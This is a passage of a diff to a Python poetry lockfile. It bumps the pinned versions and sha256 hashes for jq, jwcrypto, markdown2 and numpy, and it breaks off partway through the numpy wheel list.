"sha256:9f5a9c4185269a5faf395aa7ca086c7b02c9c8b448d542be3b899041d06e0970"}, - {file = "jq-1.6.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8265f3badcd125f234e55dfc02a078c5decdc6faafcd453fde04d4c0d2699886"}, - {file = "jq-1.6.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:c6c39b53d000d2f7f9f6338061942b83c9034d04f3bc99acae0867d23c9e7127"}, - {file = "jq-1.6.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:9897931ea7b9a46f8165ee69737ece4a2e6dbc8e10ececb81f459d51d71401df"}, - {file = "jq-1.6.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:6312237159e88e92775ea497e0c739590528062d4074544aacf12a08d252f966"}, - {file = "jq-1.6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:aa786a60bdd1a3571f092a4021dd9abf6c46798530fa99f19ecf4f0fceaa7eaf"}, - {file = "jq-1.6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:22495573d8221320d3433e1aeded40132bd8e1726845629558bd73aaa66eef7b"}, - {file = "jq-1.6.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:711eabc5d33ef3ec581e0744d9cff52f43896d84847a2692c287a0140a29c915"}, - {file = "jq-1.6.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57e75c1563d083b0424690b3c3ef2bb519e670770931fe633101ede16615d6ee"}, - {file = "jq-1.6.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:c795f175b1a13bd716a0c180d062cc8e305271f47bbdb9eb0f0f62f7e4f5def4"}, - {file = "jq-1.6.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:227b178b22a7f91ae88525810441791b1ca1fc71c86f03190911793be15cec3d"}, - {file = "jq-1.6.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:780eb6383fbae12afa819ef676fc93e1548ae4b076c004a393af26a04b460742"}, - {file = "jq-1.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:08ded6467f4ef89fec35b2bf310f210f8cd13fbd9d80e521500889edf8d22441"}, - {file = "jq-1.6.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:49e44ed677713f4115bd5bf2dbae23baa4cd503be350e12a1c1f506b0687848f"}, - {file = "jq-1.6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:984f33862af285ad3e41e23179ac4795f1701822473e1a26bf87ff023e5a89ea"}, - {file = "jq-1.6.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f42264fafc6166efb5611b5d4cb01058887d050a6c19334f6a3f8a13bb369df5"}, - {file = "jq-1.6.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a67154f150aaf76cc1294032ed588436eb002097dd4fd1e283824bf753a05080"}, - {file = "jq-1.6.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:1b3b95d5fd20e51f18a42647fdb52e5d8aaf150b7a666dd659cf282a2221ee3f"}, - {file = "jq-1.6.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:3a8d98f72111043e75610cad7fa9ec5aec0b1ee2f7332dc7fd0f6603ea8144f8"}, - {file = "jq-1.6.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:487483f10ae8f70e6acf7723f31b329736de4b421ce56b2f43b46d5cbd7337b0"}, - {file = "jq-1.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:18a700f55b7ef83a1382edf0a48cb176b22bacd155e097375ef2345ff8621d97"}, - {file = "jq-1.6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:68aec8534ac3c4705e524b4ef54f66b8bdc867df9e0af2c3895e82c6774b5374"}, - {file = "jq-1.6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b7a164748dbd03bb06d23bab7ead7ba7e5c4fcfebea7b082bdcd21d14136931e"}, - {file = "jq-1.6.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa22d24740276a8ce82411e4960ed2b5fab476230f913f9d9cf726f766a22208"}, - {file = "jq-1.6.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c1a6fae1b74b3e0478e281eb6addedad7b32421221ac685e21c1d49af5e997f"}, - {file = "jq-1.6.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ce628546c22792b8870b9815086f65873ebb78d7bf617b5a16dd839adba36538"}, - {file = "jq-1.6.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7bb685f337cf5d4f4fe210c46220e31a7baec02a0ca0df3ace3dd4780328fc30"}, - {file = "jq-1.6.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:bdbbc509a35ee6082d79c1f25eb97c08f1c59043d21e0772cd24baa909505899"}, - {file = "jq-1.6.0-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:1b332dfdf0d81fb7faf3d12aabf997565d7544bec9812e0ac5ee55e60ef4df8c"}, - {file = "jq-1.6.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:3a4f6ef8c0bd19beae56074c50026665d66345d1908f050e5c442ceac2efe398"}, - {file = "jq-1.6.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5184c2fcca40f8f2ab1b14662721accf68b4b5e772e2f5336fec24aa58fe235a"}, - {file = "jq-1.6.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:689429fe1e07a2d6041daba2c21ced3a24895b2745326deb0c90ccab9386e116"}, - {file = "jq-1.6.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8405d1c996c83711570f16aac32e3bf2c116d6fa4254a820276b87aed544d7e8"}, - {file = "jq-1.6.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:138d56c7efc8bb162c1cfc3806bd6b4d779115943af36c9e3b8ca644dde856c2"}, - {file = "jq-1.6.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fd28f8395687e45bba56dc771284ebb6492b02037f74f450176c102f3f4e86a3"}, - {file = "jq-1.6.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b2c783288bf10e67aad321b58735e663f4975d7ddfbfb0a5bca8428eee283bde"}, - {file = "jq-1.6.0-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:206391ac5b2eb556720b94f0f131558cbf8d82d8cc7e0404e733eeef48bcd823"}, - {file = "jq-1.6.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:35090fea1283402abc3a13b43261468162199d8b5dcdaba2d1029e557ed23070"}, - {file = "jq-1.6.0-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:201c6384603aec87a744ad7b393cc4f1c58ece23d6e0a6c216a47bfcc405d231"}, - {file = "jq-1.6.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3d8b075351c29653f29a1fec5d31bc88aa198a0843c0a9550b9be74d8fab33b"}, - {file = "jq-1.6.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:132e41f6e988c42b91c04b1b60dd8fa185a5c0681de5438ea1e6c64f5329768c"}, - {file = "jq-1.6.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1cb4751808b1d0dbddd37319e0c574fb0c3a29910d52ba35890b1343a1f1e59"}, - {file = "jq-1.6.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:bd158911ed5f5c644f557ad94d6424c411560632a885eae47d105f290f0109cb"}, - {file = "jq-1.6.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:64bc09ae6a9d9b82b78e15d142f90b816228bd3ee48833ddca3ff8c08e163fa7"}, - {file = "jq-1.6.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f4eed167322662f4b7e65235723c54aa6879f6175b6f9b68bc24887549637ffb"}, - {file = "jq-1.6.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64bb4b305e2fabe5b5161b599bf934aceb0e0e7d3dd8f79246737ea91a2bc9ae"}, - {file = "jq-1.6.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:165bfbe29bf73878d073edf75f384b7da8a9657ba0ab9fb1e5fe6be65ab7debb"}, - {file = "jq-1.6.0.tar.gz", hash = "sha256:c7711f0c913a826a00990736efa6ffc285f8ef433414516bb14b7df971d6c1ea"}, + {file = "jq-1.7.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d8fae014fa8b2704322a5baa39c112176d9acb71e22ebdb8e21c1c864ecff654"}, + {file = "jq-1.7.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:40fe068d1fdf2c712885b69be90ddb3e61bca3e4346ab3994641a4fbbeb7be82"}, + {file = "jq-1.7.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8ec105a0057f2f922d195e1d75d4b0ae41c4b38655ead04d1a3a47988fcb1939"}, + {file = "jq-1.7.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:38e2041ca578275334eff9e1d913ae386210345e5ae71cd9c16e3f208dc81deb"}, + {file = "jq-1.7.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ce1df1b6fffeeeb265d4ea3397e9875ab170ba5a7af6b7997c2fd755934df065"}, + {file = "jq-1.7.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:05ebdaa868f068967d9e7cbf76e59e61fbdafa565dbc3579c387fb1f248592bb"}, + {file = "jq-1.7.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:b3f916cb812fcd26bb1b006634d9c0eff240090196ca0ebb5d229b344f624e53"}, + {file = "jq-1.7.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9ad7749a16a16bafd6cebafd5e40990b641b4b6b7b661326864677effc44a500"}, + {file = "jq-1.7.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:2e99ea17b708f55e8bed2f4f68c022119184b17eb15987b384db12e8b6702bd5"}, + {file = "jq-1.7.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:76735cd19de65c15964d330adbc2c84add8e55dea35ebfe17b9acf88a06a7d57"}, + {file = "jq-1.7.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c6b841ddd9089429fc0621d07d1c34ff24f7d6a6245c10125b82806f61e36ae8"}, + {file = "jq-1.7.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1d6b1fc2515b7be92195d50b68f82329cc0250c7fbca790b887d74902ba33870"}, + {file = "jq-1.7.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:eb6546a57a3ceeed41961be2f1417b4e7a5b3170cca7bb82f5974d2ba9acaab6"}, + {file = "jq-1.7.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:3427ad0f377f188953958e36b76167c8d11b8c8c61575c22deafa4aba58d601f"}, + {file = "jq-1.7.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:79b9603219fa5082df97d265d71c426613286bd0e5378a8739ce39056fa1e2dc"}, + {file = "jq-1.7.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:a2981a24765a747163e0daa23648372b72a006e727895b95d032632aa51094bd"}, + {file = "jq-1.7.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:a0cc15b2ed511a1a8784c7c7dc07781e28d84a65934062de52487578732e0514"}, + {file = "jq-1.7.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:90032c2c4e710157d333d166818ede8b9c8ef0f697e59c9427304edc47146f3d"}, + {file = "jq-1.7.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e715d5f0bdfc0be0ff33cd0a3f6f51f8bc5ad464fab737e2048a1b46b45bb582"}, + {file = "jq-1.7.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76cc5a1ca3a540a5753dbd592f701c1ec7c9cc256becba604490283c055f3f1c"}, + {file = "jq-1.7.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:293b6e8e4b652d96fdeae7dd5ffb1644199d8b6fc1f95d528c16451925c0482e"}, + {file = "jq-1.7.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:f103868b8902d4ee7f643248bdd7a2de9f9396e4b262f42745b9f624c834d07a"}, + {file = "jq-1.7.0-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:e9c5ccfa3cf65f92b60c5805ef725f7cd799f2dc16e8601c6e8f12f38a9f48f3"}, + {file = "jq-1.7.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:0ca25608d51fdbf8bd5c682b433e1cb9f497155a7c1ea5901524df099f1ceff3"}, + {file = "jq-1.7.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:6a2d34d962ce2da5136dab2664fc7efad9f71024d0dc328702f2dc70b4e2735c"}, + {file = "jq-1.7.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:757e8c4cb0cb1175f0aaa227f0a26e4765ba5da04d0bc875b0bd933eff6bd0a0"}, + {file = "jq-1.7.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d097098a628171b87961fb0400117ac340b1eb40cbbee2e58208c4254c23c20"}, + {file = "jq-1.7.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:45bc842806d71bd5839c190a88fd071ac5a0a8a1dd601e83228494a19f14559c"}, + {file = "jq-1.7.0-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:f0629743417f8709305d1f77d3929493912efdc3fd1cce3a7fcc76b81bc6b82d"}, + {file = "jq-1.7.0-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:9b9a49e8b14d3a368011ed1412c8c3e193a7135d5eb4310d77ee643470112b47"}, + {file = "jq-1.7.0-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:a10e3f88b6d2bbb4c47b368f919ec7b648196bf9c60a5cc921d04239d68240c2"}, + {file = "jq-1.7.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:aa85b47effb4152e1cf1120607f475a1c11395d072323ff23e8bb59ce6752713"}, + {file = "jq-1.7.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9413f67ea28037e37ccf8951f9f0b380f31d79162f33e216faa6bd0d8eca0dc7"}, + {file = "jq-1.7.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3daf3b3443c4e871c23ac1e698eb70d1225b46a4ac79c73968234adcd70f3ed8"}, + {file = "jq-1.7.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dbe03f95ab02dc045691c3b5c7da8d8c2128e60450fb2124ea8b49034c74f158"}, + {file = "jq-1.7.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:a6b2e9f4e63644a30726c58c25d80015f9b83325b125615a46e10d4439b9dc99"}, + {file = "jq-1.7.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:9fffcffc8e56585223878edd7c5d719eb8547281d64af2bac43911f1bb9e7029"}, + {file = "jq-1.7.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:95d4bcd5a999ce0aaadaadcaca967989f0efc96c1097a81746b21b6126cf7aaf"}, + {file = "jq-1.7.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0137445eb67c43eb0eb46933aff7e8afbbd6c5aaf8574efd5df536dc9d177d1d"}, + {file = "jq-1.7.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ee0e9307b6d4fe89a8556a92c1db65e0d66218bcc13fdeb92a09645a55ff87a"}, + {file = "jq-1.7.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e0f95cecb690df66f23a8d76c746d2ed15671de3f6101140e3fe2b98b97e0a8"}, + {file = "jq-1.7.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:95e472aa54efe418d3627dcd2a369ac0b21e1a5e352550144fd5f0c40585a5b7"}, + {file = "jq-1.7.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:4be2a2b56fa139f3235cdb8422ea16eccdd48d62bf91d9fac10761cd55d26c84"}, + {file = "jq-1.7.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:7db8260ecb57827bb3fb6f44d4a6f0db0570ded990eee95a5fd3ac9ba14f60d7"}, + {file = "jq-1.7.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:fdbb7ff2dfce2cc0f421f498dcb64176997bd9d9e6cab474e59577e7bff3090d"}, + {file = "jq-1.7.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:396bef4b4c9c1ebe3e0e04e287bc79a861b991e12db45681c398d3906ee85468"}, + {file = "jq-1.7.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:18d8a81c6e241585a0bf748903082d65c4eaa6ba80248f507e5cebda36e05c6c"}, + {file = "jq-1.7.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ade00a39990fdfe0acc7d2a900e3e5e6b11a71eb5289954ff0df31ac0afae25b"}, + {file = "jq-1.7.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0c777e88f3cce496c17f5c3bdbc7d74ff12b5cbdaea30f3a374f3cc92e5bba8d"}, + {file = "jq-1.7.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:79957008c67d8f1d9134cd0e01044bff5d795f7e94db9532a9fe9212e1f88a77"}, + {file = "jq-1.7.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2bc5cb77dd12e861296cfa69587aa6797ccfee4f5f3aa571b02f0273ab1efec1"}, + {file = "jq-1.7.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:8e10a5937aab9c383632ab151f73d43dc0c4be99f62221a7044988dc8ddd4bdc"}, + {file = "jq-1.7.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1e6e13e0f8d3204aefe861159160116e822c90bae773a3ccdd4d9e79a06e086e"}, + {file = "jq-1.7.0-pp310-pypy310_pp73-macosx_10_13_x86_64.whl", hash = "sha256:0cdbd32463ef632b0b4ca6dab434e2387342bc5c895b411ec6b2a14bbf4b2c12"}, + {file = "jq-1.7.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:558a5c6b4430e05fa59c4b5631c0d3fc0f163100390c03edc1993663f59d8a9b"}, + {file = "jq-1.7.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4bbf77138cdd8d306bf335d998525a0477e4cb6f00eb6f361288f5b82274e84c"}, + {file = "jq-1.7.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a2e6919481ff43754ae9b17a98c877995d5e1346be114c71cd0dfd8ff7d0cd60"}, + {file = "jq-1.7.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0b0584ff33b2a9cc021edec325af4e0fa9fbd54cce80c1f7b8e0ba4cf2d75508"}, + {file = "jq-1.7.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a6e7259880ab7e75e845fb4d56c6d18922c68789d25d7cdbb6f433d9e714613a"}, + {file = "jq-1.7.0-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2d472cdd0bcb3d47c87b00ff841edff41c79fe4422523c4a7c8bf913fb950f7f"}, + {file = "jq-1.7.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2a3430de179f8a7b0baf5675d5ee400f97344085d79f190a90fc0c7df990cbcc"}, + {file = "jq-1.7.0-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:acbb375bdb2a44f1a643123b8ec57563bb5542673f0399799ab5662ce90bf4a5"}, + {file = "jq-1.7.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:39a0c71ed2f1ec0462d54678333f1b14d9f25fd62a9f46df140d68552f79d204"}, + {file = "jq-1.7.0-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:306c1e3ba531d7dc3284e128689f0b75409a4e8e8a3bdac2c51cc26f2d3cca58"}, + {file = "jq-1.7.0-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:88b8b0cc838c7387dc5e8c45b192c7504acd0510514658d2d5cd1716fcf15fe3"}, + {file = "jq-1.7.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c75e16e542f4abaae25727b9fc4eeaf69cb07122be8a2a7672d02feb3a1cc9a"}, + {file = "jq-1.7.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b4828ac689a67fd9c021796bcacd95811bab806939dd6316eb0c2d3de016c584"}, + {file = "jq-1.7.0-pp39-pypy39_pp73-macosx_10_13_x86_64.whl", hash = "sha256:c94f95b27720d2db7f1039fdd371f70bc0cac8e204cbfd0626176d7b8a3053d6"}, + {file = "jq-1.7.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:d5ff445fc9b1eb4623a914e04bea9511e654e9143cde82b039383af4f7dc36f2"}, + {file = "jq-1.7.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:07e369ff021fad38a29d6a7a3fc24f7d313e9a239b15ce4eefaffee637466400"}, + {file = "jq-1.7.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:553dfbf674069cb20533d7d74cd8a9d7982bab8e4a5b473fde105d99278df09f"}, + {file = "jq-1.7.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9fbc76f6fec66e5e58cc84f20a5de80addd3c64ad87a748f5c5f6b4ef01bc8c"}, + {file = "jq-1.7.0.tar.gz", hash = "sha256:f460d1f2c3791617e4fb339fa24efbdbebe672b02c861f057358553642047040"}, ] [[package]] name = "jwcrypto" -version = "1.5.4" +version = "1.5.6" description = "Implementation of JOSE Web standards" optional = false python-versions = ">= 3.8" files = [ - {file = "jwcrypto-1.5.4.tar.gz", hash = "sha256:0815fbab613db99bad85691da5f136f8860423396667728a264bcfa6e1db36b0"}, + {file = "jwcrypto-1.5.6-py3-none-any.whl", hash = "sha256:150d2b0ebbdb8f40b77f543fb44ffd2baeff48788be71f67f03566692fd55789"}, + {file = "jwcrypto-1.5.6.tar.gz", hash = "sha256:771a87762a0c081ae6166958a954f80848820b2ab066937dc8b8379d65b1b039"}, ] [package.dependencies] cryptography = ">=3.4" -typing_extensions = ">=4.5.0" +typing-extensions = ">=4.5.0" [[package]] name = "macholib" @@ -1245,13 +1245,13 @@ altgraph = ">=0.17" [[package]] name = "markdown2" -version = "2.4.12" +version = "2.4.13" description = "A fast and complete Python implementation of Markdown" optional = false python-versions = ">=3.5, <4" files = [ - {file = "markdown2-2.4.12-py2.py3-none-any.whl", hash = "sha256:98f47591006f0ace0644cbece03fed6f3845513286f6c6e9f8bcf6a575174e2c"}, - {file = "markdown2-2.4.12.tar.gz", hash = "sha256:1bc8692696954d597778e0e25713c14ca56d87992070dedd95c17eddaf709204"}, + {file = "markdown2-2.4.13-py2.py3-none-any.whl", hash = "sha256:855bde5cbcceb9beda7c80efdf7f406c23e6079172c497fcfce22fdce998e892"}, + {file = "markdown2-2.4.13.tar.gz", hash = "sha256:18ceb56590da77f2c22382e55be48c15b3c8f0c71d6398def387275e6c347a9f"}, ] [package.extras] @@ -1400,47 +1400,56 @@ files = [ [[package]] name = "numpy" -version = "1.26.4" +version = "2.0.0" description = "Fundamental package for array computing in Python" optional = false python-versions = ">=3.9" files = [ - {file = "numpy-1.26.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9ff0f4f29c51e2803569d7a51c2304de5554655a60c5d776e35b4a41413830d0"}, - {file = "numpy-1.26.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2e4ee3380d6de9c9ec04745830fd9e2eccb3e6cf790d39d7b98ffd19b0dd754a"}, - {file = "numpy-1.26.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d209d8969599b27ad20994c8e41936ee0964e6da07478d6c35016bc386b66ad4"}, - {file = "numpy-1.26.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ffa75af20b44f8dba823498024771d5ac50620e6915abac414251bd971b4529f"}, - {file = "numpy-1.26.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:62b8e4b1e28009ef2846b4c7852046736bab361f7aeadeb6a5b89ebec3c7055a"}, - {file = "numpy-1.26.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:a4abb4f9001ad2858e7ac189089c42178fcce737e4169dc61321660f1a96c7d2"}, - {file = "numpy-1.26.4-cp310-cp310-win32.whl", hash = "sha256:bfe25acf8b437eb2a8b2d49d443800a5f18508cd811fea3181723922a8a82b07"}, - {file = "numpy-1.26.4-cp310-cp310-win_amd64.whl", hash = "sha256:b97fe8060236edf3662adfc2c633f56a08ae30560c56310562cb4f95500022d5"}, - {file = "numpy-1.26.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4c66707fabe114439db9068ee468c26bbdf909cac0fb58686a42a24de1760c71"}, - {file = "numpy-1.26.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:edd8b5fe47dab091176d21bb6de568acdd906d1887a4584a15a9a96a1dca06ef"}, - {file = "numpy-1.26.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7ab55401287bfec946ced39700c053796e7cc0e3acbef09993a9ad2adba6ca6e"}, - {file = "numpy-1.26.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:666dbfb6ec68962c033a450943ded891bed2d54e6755e35e5835d63f4f6931d5"}, - {file = "numpy-1.26.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:96ff0b2ad353d8f990b63294c8986f1ec3cb19d749234014f4e7eb0112ceba5a"}, - {file = "numpy-1.26.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:60dedbb91afcbfdc9bc0b1f3f402804070deed7392c23eb7a7f07fa857868e8a"}, - {file = "numpy-1.26.4-cp311-cp311-win32.whl", hash = "sha256:1af303d6b2210eb850fcf03064d364652b7120803a0b872f5211f5234b399f20"}, - {file = "numpy-1.26.4-cp311-cp311-win_amd64.whl", hash = "sha256:cd25bcecc4974d09257ffcd1f098ee778f7834c3ad767fe5db785be9a4aa9cb2"}, - {file = "numpy-1.26.4-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:b3ce300f3644fb06443ee2222c2201dd3a89ea6040541412b8fa189341847218"}, - {file = "numpy-1.26.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:03a8c78d01d9781b28a6989f6fa1bb2c4f2d51201cf99d3dd875df6fbd96b23b"}, - {file = "numpy-1.26.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9fad7dcb1aac3c7f0584a5a8133e3a43eeb2fe127f47e3632d43d677c66c102b"}, - {file = "numpy-1.26.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:675d61ffbfa78604709862923189bad94014bef562cc35cf61d3a07bba02a7ed"}, - {file = "numpy-1.26.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = 